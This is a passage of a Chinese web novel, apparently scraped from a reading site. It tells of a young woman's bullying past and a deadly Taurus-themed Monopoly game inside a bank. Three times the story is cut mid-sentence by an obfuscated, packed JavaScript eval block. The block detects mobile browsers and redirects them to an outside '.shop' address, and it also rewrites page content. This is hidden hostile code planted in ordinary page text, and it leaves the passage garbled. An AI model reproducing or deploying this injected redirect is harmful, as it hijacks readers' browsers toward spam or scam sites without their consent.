自己误了工,想必门外怕是前来问责的家长。学校为了小学生上学放学的交通安全,在校门附近安排家长进行交通指挥,不少家长没空或不愿意去,就把这份活儿外包了出去。 迄今为止,云真真已经扮演过18个小学生的小姨和20多个小学生的大姐。 打开房门,云真真先发制人,用一副虚弱的声音俯身90°鞠躬道歉:“对不起,我今天——咳……咳……发烧了……咳咳……” 打定了主意,雇主家长没选择原谅之前绝不起身。 “怎么了,怎么了?哪里不舒服?”一个关切的声音问道。 云真真“害”一声直起身,打着呵欠伸着懒腰:“睡过了!你这是要……” 话说了一半就不用再问,眼前的装扮表明了一切:一撮小黄毛从小黄帽里支棱出来,手上提着三四份外卖。 “我都送餐俩小时了!”金乐儿嘿嘿笑着,递给云真真一个保温外卖袋后转身小跑起来,“给你!回见!” 云真真打开包装高级的保温袋一看:塑料袋装的豆浆已经漏光光,泡着四个软塌变形的包子。 本应好好呆在包子里的翠绿色小葱,此刻正浮在冒着油星儿的白色豆浆上,别有一番风味。 啊……阳光真好。暖洋洋的。 云真真站在门口仰头看了一会儿太阳,拿出手机向家长道歉赔偿,犹豫了一下,取消了电子书配音的工作。 长期居住在阴冷潮湿的小屋子里,此刻突然还想要再晒一会儿。 云真真把豆浆泡包子小心拎回屋子里,关上门慢吞吞去早餐摊。 早上8点,城市里数量最多的工种——打工族或面无表情地挤在地铁上,或在睡意与早餐间做着最后的挣扎。又是当牛做马、能摸鱼就摸的平凡一天。 而城中村的早晨从凌晨3点就开始了。卖菜的老夫妻已经到达批发市场,环卫工人准备去往工作地点,短工蹲在桥墩下等招工,早餐摊的老板已经醒好了面。 城中村总是嘈杂而混乱的:露天排水渠汩汩流淌着生活废水;大树、电线杆甚至是房屋瓦片的一角,歪七扭八地扯着无数根粗麻绳,上面晾满鲜红或宝石蓝的秋衣、内裤;随意支起的早餐摊上,糖油混合物在油锅里滋滋作响,升起一阵阵油烟,豆腐脑和辣椒的味道与臭水沟的味道融合混杂在一起。 但这里的人,生命力旺盛,做事情坚韧。当然了,坚韧是本能,否则活不下去。生活在此,云真真很安心。 她走到早餐摊,点了2根油条,1个糖油果子。吃了高热量食品,才能元气满满地干活。 排队等待期间,和老板有一搭没一搭地聊着天。 哈欠正打到一半,余光看到一个熟悉却不和谐的身影,幽灵一般站在对面盯着自己。 嘴巴半开半合定住,眼神骤然由松弛变凌厉。 他怎么会知道自己的住址?他来干什么?难道是还钱?刹那间,无数个念头划过脑海。 云真真飞速扫视着和周围环境格格不入的白深,试图推断出一些蛛丝马迹:他穿一身素色休闲运动装,没有任何LOGO,但质感一看就是高级货;一双洁白无瑕的运动鞋沾上了些许城中村特有的泥。一个斜跨帆布包,里面鼓鼓的。 对了,那里面一定是现金!他特意来给自己送报酬了! “你取到现金了?”云真真提着糖油混合物走过去,指指他的包。 “……”白深沉默了几秒,“……不是钱,但也是重要的东西。想让你过目。” “那就拿出来啊,那么多废话。”云真真兴致顿时阑珊,低头“嘎吱”一口咬下糖油果子。 白深环顾着四周:一条条歪歪扭扭的、狭窄弯曲到不能称之为街道的街道,两旁私搭乱建着一栋栋形状奇怪的小平房。 “换个地方,安全点。来的时候我看到你们这个……社区的边缘有家咖啡店。” “提前说好,你请客。”云真真扯下一口油条。 咖啡厅的角落里坐定,云真真立刻点了一杯最贵的手冲咖啡。 一本春竹小学的校史纪念册被轻放在洁白的桌面上。云真真翻看时,白深又从包的夹层中取出几个牛皮纸的旧信封。 “调查我?请问你是何方神圣?有什么目的?”云真真放下手里的半个糖油果子。 “朱柔……原名朱凌,校史的花名册上,她一直是这个名字。虽然她长大后整了容、改了名,但你早就认出她来了吧。”白深摊开三张集体合影,“这是小学四年级、五年级、六年级时朱凌所在班级的集体照和花名册。你只出现在五年级。” “这学费收据,说明你是借读生。”白深展开几张有年代感的手写学费收据,“别人都交20元,而你交200元。” “你到底想知道什么?”云真真大口灌下价值不菲的咖啡。“在游戏里,你和她在帐篷里呆了一夜。她应该对你说了不少。” “我想听听你的版本。”白深只抿了一小口便放下杯子。 “怎么,对她感兴趣?想帮她报仇?她已经死了啊。知道再多也没用。”云真真翘起二郎腿看向窗外,玻璃窗反射着她蓬乱的头发,“如果我的版本和她不一样,你也不知道到底该相信谁。” “我……怎样你才肯说?”白深一时语塞,能拿出这么多久远材料,显然已经调查过相关人事,获得了初步结论,但云真真还在故意装傻。 “你懂的呀!”云真真伸出大拇指和食指,作出点钱的动作。 “行!我买信息。”白深咬着牙叹了一口气。 云真真马上精神抖擞,正襟危坐,再次狮子大开口。 白深这个人,要么藏着大秘密,要么人傻钱多。 “你知道黑羊效应吗?一群白羊里,总会有一只黑羊,背锅、挨欺负。朱凌给你讲的故事中,她是那只受害的黑羊吧?这么说也没错,开始的确是这样的。”云真真眼里翻滚着复杂的情绪,却以平静的语气开始了讲述。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284384|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 父母离异那一年,妈妈独自带着云真真来到城里,就租住在城中村。 妈妈靠做裁缝织补等零散工作扛起两人的生活。但妈妈心灵手巧,母女两人总是穿得干净漂亮,妈妈甚至愿意交高价借读费送云真真到春竹小学读书。 即使不富裕,开始一段新生活总是单纯而快乐的。 直到一天放学后,云真真照例在学校里捡瓶子卖钱,发现自己班上的灯还亮着。 她走进去时,粉笔散落满地,教室一片狼藉,一贯内向的朱凌正疯狂地推倒、踢打同学们的桌椅。 朱凌惊慌失措,后来在云真真的安慰下说出事实:崩溃是因为擦不掉课桌上的油漆。 那张需要清理的课桌,散发着浓浓的油漆味,显然刚涂上去不久。一只红色的羊头占据整个桌面,眼眶中流出血色眼泪。 云真真瞥向黑板上的值日生表,朱凌并不是当天的值日生。 她应该是被欺负了。 云真真不多问,依照从妈妈那里学来的经验,告诉她可以用酒精或者风油精、花露水之类的东西试一试。 朱凌书包里刚好装着一瓶风油精,果然越擦痕迹越淡。 她渐渐平静下来,恢复往常的面貌,指向云真真手中巨大一袋饮料瓶:“你……做环保吗?” 云真真大方说出自己在补贴家用,又故意透出自己从乡下转学来,和妈妈两人住在城中村的事实。 校园霸凌的对象,大概率产生在家里贫穷、父母缺失、成绩不好、性格内向等孩子中。 我比你弱,兴许会让你好过一些。 善意往往被是辜负的。不久之后,红色羊头出现在云真真的课桌上,还多了几个大字:捡垃圾的! 黑羊寻得一只新的黑羊,得以顺利洗白,重归羊群。 而对黑羊最残暴的,往往是曾经黑过的羊。 “所以你读了一年,就转学了?”白深思索一番,拿出成绩单,“在这之后,你的测验成绩也始终是第一名。学生之间的排挤,比如孤立你、让你做更多事,似乎并不应该影响到你。你的内核很强大。” 云真真仰头,将剩下的咖啡全部灌入喉中,一副什么都不在乎的表情:“嘿!说得轻松。你怎么知道,我的内核是天生强大,还是后天塑造的?” “那……朱凌即使有这样的行为,也罪不至死。”白深语气中听不出丝毫关心或是谴责的意味,似乎只是想套出更多信息。 “故事只能讲到这里。还想听的话,可是要付费的!”云真真站起身来,看看时间,“我要打工去了!你的欠债金额又提高了,银行一恢复就打过来!超过15天,可就要加收利息了……” “你要那么多钱干什么?”白深直接发问。 “哈?你居然问出这些废话。只要是人,谁不爱钱?”云真真夸张地瞪大双眼。 “你打了那么多份工——群演、有声书配音、拳馆陪练、餐厅服务员……”白深靠在椅子背上,翘起二郎腿,摆出居高临下的姿态,“当然,都是些不需要学历的工种。只想舒舒服服生活,靠账户里的钱足够了。” “你……究竟有什么途径侵犯我的隐私?”云真真心里终于泛起波澜,“我一个诚实守法的小市民,不劳您贵公子大费周折,您行行好放过我!” 看着云真真怒气冲冲的背影,白深紧锁双眉。 真是一块硬骨头。啃不动、摔不烂,软硬通通不吃。 他想起了白羊座副本3中的【激活】与【回归】。 黑羊被【激活】之前,原本是白羊。 14. 血色大富翁(1) 10点40分,云真真准时到达金融街。 米其林餐厅的服务员时薪可观,即使明天就得死,今天也不能不去! 不料再次见到老熟人——“红袖标”羊毛卷阿姨。 金融街是商业最繁华的地段,阿姨从来没想过,有一天能成为金融街之王——站在街口,喝退不知情的来往行人,独享整条街。 “阿姨好,又见面了!”云真真热情地打招呼。看来她和自己一样,白天黑夜连轴转。 “这位美女,你晓得噻,里头有家银行耍游戏咯,你想去上班上不到哦!好好回去休息两天嘛!”阿姨依然认真履职,却显然没认出云真真。 也难怪,昨晚见面还是邋遢女鬼,这次踩着小高跟,头发盘得一丝不苟,还化着餐厅规定的“高级感”妆容。 云真真伸出一根手指戳向眼球,见阿姨大惊失色、使出“后退”招数,她才笑道:“想起我来没有?是人是鬼?” “阿姨,让她进来。”一个低沉的声音从建筑的阴影里传出来。 又是这家伙?怎么哪都有他!云真真转身掉头。 “不想快点拿到报酬、赚点外快吗?”冷冰冰的声音突然悦耳起来。 云真真转过身,阿姨换上一张笑容灿烂的脸:“原来你也是游戏测试员!了不起,了不起!” 游戏……测试员?白深是干这个的?但是他调查我干什么?甚至连打工时间、地点都能轻易查到…… 谜团密布,云真真决定跟着他去看看。反正打工泡汤了,得换个赚钱的机会。 一路走过去,高档西餐厅、只有进口豆子的咖啡店、投行机构、咨询公司全都门窗紧闭,往日喧闹的大楼寂静阴沉,有种末世降临感。 最终,白深在一家金色招牌的银行面前停下脚步,下巴一扬,指向银行入口:“通关就能正常营业。” 这家银行紧挨着云真真打工的米其林餐厅。别的分支行店招都是统一的白底儿,就它是高调的金色,独显尊贵。 云真真曾从米其林餐厅的客人口里听说,这家支行设有私人银行中心,位于大楼顶层18层。 据说装潢极端奢华,什么手工羊毛地毯、水晶吊灯和整套黄花梨木桌椅,连喝水杯都是爱马仕的。当然,享受服务的门槛极高。 “豁出命来陪你玩游戏,怎么也不能白玩儿啊!”云真真交叉双臂,摆出一副酷酷的姿势。 “队长,别跟她废话了,我们走!”象牙雕花柱后面突然闪出一个红色短发的女人,话语干脆,戴着一副拉风的墨镜,上身穿黑色机车皮衣,下着一条紧身黑皮裤,腰间、口袋处挂着丁零当啷响的银色链子。 “在外面,叫我教官。”白深冲她摇摇手,视线若有似无地瞟向云真真胸前彼岸花,“我的钱就存在这里。没人通关游戏,就一直拿不出来。你是继续做那些低级工作,还是快点拿到一大笔钱,再考虑一下。” 低级工作……他又在用激将法。云真真心内冷笑:小儿科!负分差评!当一个人有且只有一个目标,目标是人生的全部意义,那小小的自我、小小的骄傲根本不值一提。 游戏测试员、队长、队友……一系列线索在脑海中迅速排列组合之后,云真真看向红发女人:“你还有个队友啊。”言外之意,我要去,但你俩组队,我不安全。 “这是我同事,辛晴。”白深简要介绍,“游戏还差两个人就满。我只能带一个人进去。” 辛晴微微点头。云真真敢打包票,她藏在墨镜里看自己的眼色,一定不是正眼。 “差两个人就满……你们是怎么知道的?”云真真看看白深,又看看辛晴。 你们最好不是在用饥饿营销这种拙劣的手段诓骗我进游戏。 “废话多!”辛晴把墨镜往额头上一推,一双深邃的欧式双眼不耐烦地盯着云真真头顶,“SBI你知道吗?星座游戏调查局!我们连这点能力都没有?” “这个……真不知道,学历低。只知道SB和I分开的意思。”云真真还她一个微笑。 辛晴:……只恨打人不合局里规定。 “游戏胜利之后,我会向局里申请,提供奖励给普通市民,金额不会太低。”白深摊开最后的筹码。 “行……吧……”云真真露出勉强的表情,得了便宜再卖个乖,万物可爱。 辛晴“哼”一声,像阵风一般快速离开。 一楼营业厅内,金碧辉煌的地板、流光异彩的大吊灯闪瞎了云真真的眼睛。 不对!她之前来过一层帮餐厅客户取落下的东西,看见的不过是普通的大理石地面和吸顶灯。 看来这就是游戏的基调了:奢华、黄金、高端、品质。 只有亚克力材质的LED利率公示板还挂在原位,与周遭环境格格不入,上面显示着日期:4月19日。 现在明明是秋天。而且这个日期……总感觉和什么有关……一时间想不起来。 公屏亮起,伴随着一个沉稳浑厚的男性声音: 【星河浩瀚,游戏好玩!欢迎来到星座游戏。】 【消极游戏化作流星 游戏失败变为恒星 通关游戏遨游宇宙】 【本关游戏说明:】 【勇敢的猎金者们,请在血色大富翁游戏中掠夺无限财富!闪耀之金,尽情积累吧! 请最后两位到达的猎金者跟随向导前往18楼私人银行中心。】 公屏上绽放出金牛座符号的金色礼花,和一个数字6。 电梯方向,走出两个人——一男一女,显然是“向导”。 男人头戴一顶手工编织帽,帽子四周插满长长的杂色羽毛;女人编着两条粗如小臂、长到腰部的麻花辫,发饰繁复。 两人都面色黑黄,眼神警惕而锋利,身着某种动物皮缝制的衣服。 随着两人越走越近,野兽气息夹杂着野外草木的味道迎面扑来,挂在服饰上的玻璃彩珠、骨头、金属等装饰物摩擦碰撞,叮当作响。 这是……印第安部落的人! 属于草原、土地、天空和风的种族,崇尚自然的部落,赫然出现在金碧辉煌的现代银行中,极为不和谐。 印第安人……金牛座……血色大富翁……到底有什么关联呢?云真真的头脑飞速转起来。 再看白深,他既然是“游戏测试员”,进过不少游戏,或许知道一些线索。但他此刻薄唇紧闭,一言不发,一副死活都无所谓的模样。 该不会是……想死在这里赖账吧?云真真的表情微微起了变化。 “电梯在这边。”部落男性的眼神如一只雄鹰在观察猎物。 四人步入唯一一台通体金色的私人客户专梯,电梯门缓缓关上。 灯突然熄灭,狭小的轿厢顿时陷入漆黑。野生动物的气息越来越浓郁,一阵阵腥气和潮湿的质感笼罩在周围。 总不能正式会场还没进,就得交代在这儿吧?云真真向旁边稳如泰山的“提款机”白深挪动了一步。 金钱的的确确能够给人带来安全感。 但不够持久。 脚腕突然传来一阵瘆人的触感,一根滑溜溜、冰冰凉、长而黏的东西缠上了小腿,正盘旋着上爬。 一股股螺旋状的寒意沿着小腿爬上脊柱,一直传到到大脑掌管恐惧的中枢。 “你……冷不冷?”云真真微微侧头朝向白深。 “不冷。向导都不冷。”能听出来他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285541|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极力克制,但声音里还是带上了一点颤抖。言外之意,向导在场,别造次。 行。只要不单单整我一个,你也在受苦就行。 漆黑难捱的狭小空间内突然亮起微光。轿厢墙壁上亮起人脸大小的圆形光斑,像是谁在上面投了影:两条缠绕扭曲在一起的蛇。 这是……蛇的图腾。云真真迅速想起在刺青店打下手学习到的知识,印第安不少部落崇拜的蛇是——巨蟒一般的森蚺! 六七米长、和成年人大腿一般粗的森蚺,以往纹在社会大哥的背上,此刻却活生生盘在自己的腰间! 呼吸骤然变快。借着图腾发出的亮光,云真真再次微微侧头看向身旁,却正对上两只闪烁着幽幽红光的豆眼! 一只通体棕黑花纹的森蚺已经无声无息爬上白深肩头,“嘶嘶”吐着信子,狡黠地盯着云真真。 即使是冰冷如提款机的白深,颈子上也闪烁着汗珠的光芒。 嘿,看来怕蛇是刻在人类基因里的。都是人,他表现得再像个程序,终究也会害怕。 环境再糟糕,有人一同受苦,心里就平衡了。 黏腻冰凉的触感缠上了脖颈,鳞片一寸一寸划过布满敏感神经的肌肤。 酸爽苏麻的感觉迫使云真真紧紧闭上双眼。 森蚺似乎只把两人当成了树干,并没展现出绞杀的行为。尽管如此,无形的压迫感始终让人无法喘息。 幸而,这潮湿的恐惧并没持续太久。 森蚺的尾部滑行着离开云真真,与白深肩头的那只缠绕扭曲在一起,像在进行某种古老而神秘的仪式。 两只森蚺浮空而起,鳞片闪动着诡异的光芒,蠕动扭曲着,变小、变小,最终与图腾中的造型完全吻合,彻底融为一体。 叮——有史以来最漫长的电梯时间终于结束了。 门缓缓开启,满目金黄色连绵至视线尽头,闪得人睁不开眼。 明晃晃的黄金地板、刻着神秘图案的黄金墙壁、黄金铸就的雕花圆柱,甚至悬挂于金色屋顶的巨型吊灯和射灯也由黄金打造,上面缀满各色宝石,折射出耀眼的光辉。 约三四百平的黄金空间无比华贵,却又空荡荡的。 除了场地中心瑟瑟发抖的玩家、一群相当违和的印第安NPC,连一张桌子、一张椅子也没有。 “最后两名猎金者……通过了猎金资格测试吗?”头戴黑色鹰羽冠、站在房间最中心的印第安人发话,声音充满威严。 “是的,酋长。”女向导低头回答,“他们尊重我们的图腾。” “欢迎两位猎金者。对于朋友,我们一向热情好客。对于敌人……”酋长低下头,挥动权杖,指向地上躺着的三个玩家,“从自然而来,归还于自然!” 黄金地面上躺着三名玩家,两男一女,面部表情扭曲惊恐,手腕、脚腕和脖颈处,各被一只森蚺紧紧束缚住。 十几名印第安人突然吟唱起诡异而古老的歌声,跳起一种怪异而神秘的舞蹈。 “……美酒……朋友……” “珍视之物……不容掠夺……” 歌声的音调奇特、吐字模糊,努力伸长耳朵,也只能模糊辨认出几个音节。 唱着、跳着,印第安人渐渐排列成一个整齐的圆圈,将三名玩家围在中间。 歌声节奏越来越快,圆圈舞的步伐越来越急,森蚺吐着信子,开始了绞杀。 三名玩家的面色逐渐红紫,表现出明显的缺氧症状,身体也开始不受控制地抽搐起来。 酋长眼中闪过一抹锐利的光,权杖猛地一顿,歌声与舞蹈瞬间达到高潮。 【很遗憾,本场游戏3号、5号、10号玩家失败,化作流星,咻、咻、咻~】 15. 血色大富翁(2) 云真真在白羊座副本中见识到一次“开局杀”,但起码是一记爆头,给了个痛快。 金牛座代表的身体部位是脖颈。眼前这3名玩家被森蚺一点点绞杀:面色逐渐青紫,口鼻开始喷血,眼球爆出血丝……从恐惧、挣扎再到纹丝不动,毫无还手之力,眼睁睁咽下最后一口气。 如同陷入幽深沼泽中的人,一寸寸、一丝丝下沉,只能陷入无边无际的绝望。 金牛副本慢刀割肉的慢热风格,不会体现在这里了吧……云真真陷入沉思。 一阵半音符居多的诡异音乐响起,云真真看向声音来源。 两位向导吹着树枝制作的不知名乐器,森蚺跟着音律摇晃起来,在最高音奏响时,如同收到打击命令的士兵,精准咬破3名玩家的颈动脉。 红色喷泉汩汩而出,染红周围的黄金地面,格外强烈刺目。 向导抱出三个陶土罐,罐口对准玩家的脖颈,似乎是在收集血液。 白羊王要颅骨,酋长要血液。就不能要点给完不会死的东西?云真真不愿再看这古怪的场面,向瑟瑟发抖的存活玩家走去。 “你们好,又见面了!”身后传来一个熟悉的声音,像是在公园里遛弯时碰到邻居那般稀松平常。 不用想,他腋下肯定夹着一个笔记本。 白深微微点头,云真真还他一个菜市场买菜时偶遇般的笑容:“丁哥,这么勤快。” “为了普通百姓,为了我们院,为了国家!”丁卯笑笑,“太平日子里,都说百无一用是书生。这种特殊时刻,也该我们上场了。” “我们来之前,发生了什么?那三个人……为什么被说‘不尊重图腾’?”云真真悄声问道。 丁卯轻轻翻开笔记本,指着最新一页:“我问了他们,当然他们那时候还能说话。电梯里,蛇攀住他们的时候,他们都试图攻击或者杀死蛇。” “一般人都会害怕蛇,DNA里带的。”云真真想起冰块脸白深紧张流汗的样子。 “此之甘露,彼之砒霜。”丁卯点头。“金牛座热爱金钱、美色、美食,也许这所谓的‘猎金者’测试,在他们看来,是送出去的蜜糖,只是那3个人不领情。” “你这话说得有失偏颇。我本人金牛座,和贪财好色沾不上边儿。”一个浓眉大眼、脸方微胖的中年男人发话。 “对,我们钱董宅心仁厚,夫妻恩爱,经常做公益。” “电视台上经常播报‘华民地产’捐物捐资,援建山区、小学之类的新闻!” 两个西装革履的年轻男生一左一右站在钱姓董事长身边,一个高一个矮,充当着双响喉舌。 原来是华民地产的董事长钱进!好!很好!!非常好!!!云真真心中涌出一阵激动。 刷!刷!! 头顶上星星分布的射灯突然亮起,空旷的黄金地板上映出12个白色空心圆圈,按照表盘上1点到12点的布局整齐排列。 “欢迎各位猎金者来到血色大富翁游戏。我是本场游戏主理人酋长。”威严的黑色鹰羽在酋长的帽子上微微颤动,“目前存活猎金者9人,请各位选择自己的初始领地。站在圆圈内5秒,即为选定。” 没有玩家愿意首先行动,场面陷入短暂的僵持。 能通过森蚺测试的,都是千年的狐狸。谁都想抢占先机,但谁都不愿先吃螃蟹。 何况,金牛特质中有稳中求胜,三思而后行。 “哈哈哈……”酋长笑道,“你们这批猎金人讲究礼仪!对待朋友,我们一贯慷慨,请在30秒之内选择领地。选择过后,你们的玩家号码将与领地号码相同。” 印第安人边用脚踏起统一的节奏,边将手中的动物骨头、棒子等一下一下顿地,嘴里哼唱着诸如“啊……哦……”一类听不出意义的音节。 他们分散开来,站定在12个圆圈的外侧,宛如12个守护者。 除酋长和两名向导外,这些守护者的面部都涂满白色、红色的颜料,图案诡异。盯久一点,云真真总感到一阵阵不舒服。 钱进带着两个狗腿子率先行动:“我去给你们探探路!事先士卒总是没错的。” 三人在2点钟圆圈的位置前停下。 钱进头一歪,手一指,高个狗腿子紧握着拳头踏入1点钟圆圈的中心。 【1号玩家所属领地:1号领地。】 安全!圆圈外的印第安人没有打晕他,也没有其他牛鬼蛇神闯进来。 不是要身先士卒吗?说到底还是士卒先上。云真真看着这一幕,心中不禁冷笑。狐狸啊,还是老的骚。 果然,钱进见1号狗腿子安然无恙,大胆地迈开步子,心满意足踏入2点钟方向的领地,同时示意矮个狗腿子进入3点钟方向的领地。 这是在抱团建立自己的势力范围呢。况且,2号对应第2宫金牛座。前有1,后有3,被保护得像个宝宝。云真真忍不住对眼前的“慈善家”嗤之以鼻。 终究是商人属性浓厚,不利己,他宁死。 印第安人的歌舞节奏越来越快,绞杀场景历历在目,其余玩家们也迅速选好了领地。 云真真最后一个踏进12点钟方向的领地。第一场游戏里,她作为12号玩家大获全胜。希望这份好运能一直延续下去。 丁卯、白深分别位于10点钟、11点钟方向,3人也默契地组建起一个暂时联盟,与钱进的联盟形成对峙。 歌声、踏步声和骨棒的敲击声戛然而止。 酋长的声音带着雨林中的危险与神秘:“猎金者们,现在请确认你们所属的【部落】。” 头顶射灯的颜色突然切换:刺眼的白变为几种彩色,白色圆圈随之呈现出不同的颜色。 云真真笼罩在一片蓝光之中,仿佛置身于太阳刚刚落山后的幽深丛林。 看看周围,旁边的几个人跟蓝色一毛钱关系都没有! 11号白深,被绿色的光映绿了头发。幸好他没戴帽子。 10号丁卯,沐浴在一片金黄色之中。 1号高狗腿子,则被红色包围。 云真真很快判断出,【部落】是根据火、土、风、水四大元素属性而划分的。 1号、5号、9号,对应白羊座、狮子座、射手座,属火象星座; 2号、6号、10号,对应金牛座、处女座、摩羯座,属土象星座; 3号、7号、11号,对应双子座、天秤座、水瓶座,属风象星座; 4号、8号、12号,对应巨蟹座、天蝎座、双鱼座,属水象星座。 每名成员,都和本部落成员隔着最远的距离。 云真真寻找自己的水队友:4号领地空着!8号领地里是一个棒球帽遮住大半张脸的神秘男人,穿着一件黑色风衣,除了介绍自己叫冷观之外什么也没有多说。 风象部落同样少一名成员:7号空着,只有3号的矮狗腿子和11号的白深; 火象部落的9号领地也空着,只有1号高狗腿子和5号高挑美女。美女名叫刘美心,是名职业模特。 土象部落是唯一集齐了3人的部落:2号钱进被一片金光映照着,与他坐拥的财富交相辉映;6号甘甜甜,自我介绍是一个烘焙师;10号丁卯。 “血色大富翁期待各位猎金成功!”酋长的声音在空旷的大厅中回荡,“现在公布【规则】。” 【规则一:每位猎金者拥有初始财产10金币,和脚下对应编号的领地一块。 规则二:从1号玩家开始,依次掷骰子。每次掷得的点数将决定玩家前进的格子数。 当所在格子属于其他部落领地时,须向领地所有者缴纳4金币过路费。 当所在格子属于本部落领地时,可以与本部落成员进行资源交换。 当所在格子为无人领地时,可花费10金币进行购买。 规则三:特殊事件会随机降临。 规则四:当猎金者持有金币为0或负数,将立刻被判定为游戏失败。所有领地重新被归为无人领地。 规则五:当一个部落中的猎金者全部失败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290728|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,游戏结束。其余猎金者通关游戏。】 “这哪是猎金游戏,这是一场零和游戏。”丁卯看着公屏感慨,“猎来猎去,实则是有限的资源在玩家之间来回转移,谁也不能猎到新的东西。” “齐心协力哦!”钱进见猪队友在印第安人虎视眈眈的目光中大放厥词,隔着几个人跟丁卯招招手,“这是部落之间的对抗、部落内部相互团结的游戏!” 旁边两个狗腿子顿时不知所措。说好的背靠大树呢,怎么就变成对抗关系了? “我们仨还得互相伤害呗?”云真真看着丁卯和白深,又意味深长地补上一刀:“怎么样,还想救所有人?一个部落灭亡,其他人才能通关。” “尽最大可能,救更多的人。”白深话的内容依然让人佩服,语气却还是一点人类感情都听不出来。 “特殊事件……会是什么?”云真真绕过白深和他的救人理想,朝着丁卯挤挤眼睛。 丁卯翻开笔记本:“按照传统大富翁游戏里的玩法,有得到道具、被限制移动、遇到财神衰神诸如此类的内容。” 云真真早已知道这些答案。她只是想讨论应对方法,可惜丁卯没能理解。 “具体问题,具体分析,灵活应对。”白深倒是听明白了。 “正式开始之前,还有一事需要更正。”酋长看着虚空,眼神悠远,“刚开始有3名猎金者没能通过测试,所以原本属于各自部落的领地,重划为无人领地。” 灯光一闪,蓝色的4号领地、绿色的7号领地、红色的9号领地重新变为白色。 这样一来,土象部落拥有了起手优势。其他部落有3/12的几率走到土象领地,缴纳过路费;而收到过路费的几率只有2/12。 到底是金牛座主场。其他两个土象星座都跟着一起喝了汤。 “给猎金者发放初始金币。”酋长发话。 窸窸窣窣、丁零当啷的声音此起彼伏地响起。 每名玩家身后站岗的印第安人,不约而同地从帽子里、头巾上或者头发里掏拽着,时不时露出一丝痛苦的神色。 印第安人习惯把财物放在头发或者帽子里吗?这触及到云真的知识盲区了。 身后一只黑乎乎的手臂伸过来,手掌上放着两叠闪闪发光的金币,五个一叠,一共十个。 云真真拿取金币时,碰触到印第安人的手。触感冰冷,像是刚刚从冰柜里走出来。一丝丝腐臭的气息萦绕在鼻子周围。 云真真敏锐地转过头,目光沿着裸露的手臂看向身后那名印第安人的脸。 鲜红的颜料涂满了他的眼皮,甚至连睁没睁眼都难以辨认。 是我想多了吧。转回头瞬间,她残留的余光突然瞟到两个空荡荡黑窟窿! 是我看错了,还是说,那是……他的眼睛?更准确地说,是眼眶? 云真真心中一沉,强作镇定,突然再次猛然回头看向印第安人。 一张看不出五官、涂满颜料的脸。不是想象中赤裸裸的骷髅头。 保持警惕。云真真告诫着自己,拿起一枚金币放在指尖把玩,只见金币正面印着雄鹰的图腾和奇怪的符号,背面……残留着几抹干涸的血迹。 但愿血色大富翁里的血色,就是这几抹吧。她用自己都不信的话安慰着自己。 要不然就估估金币的重量,算算黄金汇率,想象一下账户中不断上涨的数字好了! 有用且屡试不爽!云真真的心情平静下来,甚至多添了几分斗志。 酋长侧头示意,编着粗麻花辫的女向导从兽皮口袋中拿出一个人脸大小、通体金黄的正方体来。 “游戏开始!1号玩家,请掷骰子。” 高个狗腿子伸出双手,颤巍巍地接过黄金骰子,犹豫了一番之后朝着圆心处掷去。 所有人的目光聚焦在做抛物线运动的骰子上,时间仿佛凝固在此刻,只听见骰子在地板上翻滚的声音,眼里尽是不断闪动着诱人的光芒。 “嗒”一声,骰子终于静止,数字“1”朝上。 16. 血色大富翁(3) 高个狗腿子前进1步,从1号领地踏进老板钱进的2号领地。 “年轻人,有舍才有得。”钱进满意地点点头,摊开厚实的手掌,一副看淡人生的智者模样,“我在你们这个年纪,可是一穷二白,正在艰苦创业啊……” 高个狗腿子曾被老板的创业故事感动到痛哭流涕,穷小子众叛亲离之后背水一战、建立起商业帝国的事迹,总是让人斗志昂扬、热血澎湃,格外有代入感。 当然只有穷困潦倒、被人看不起的那部分才能完全代入。 他情不自禁,高举拳头喊出了华民地产的企业价值观:“今天吃苦、吃亏、吃气、吃辱,明天享乐、享安、享闲、享福!” 说完话,他双手将4个金币恭恭敬敬供奉到钱进手里。 钱进将金币一个一个放在口袋里,微微点头:“小高啊,我果然没看错人。价值观常挂嘴边、常记心间,你做到了!出去之后,升职在向你招手!” 高个狗腿子登时感动得眼泪鼻涕一大把。 “我该说什么呢?他只是个刚毕业不久的傻子……啊不,孩子。”云真真隔过白深,小声对着丁卯蛐蛐,两只手不断比划着圆形,“这饼画的,大,真大!” “最初,谁都是一张白纸。”丁卯抚摸着笔记本封皮上的烫金的“社科研究院”字样,“单位的价值观本身并没有错,但如果被当成PUA的手段,错的就是掌权者咯……” “闭嘴。酋长正在向这边看。”白深眉头紧锁,硬生生打断两个话痨。 任何一个社会结构里,都存在掌权者、跟随者。当面蛐蛐作为掌权者的酋长,肯定是活腻歪了。 酋长的眼神如锐利的鹰,直勾勾投向云真真和丁卯。 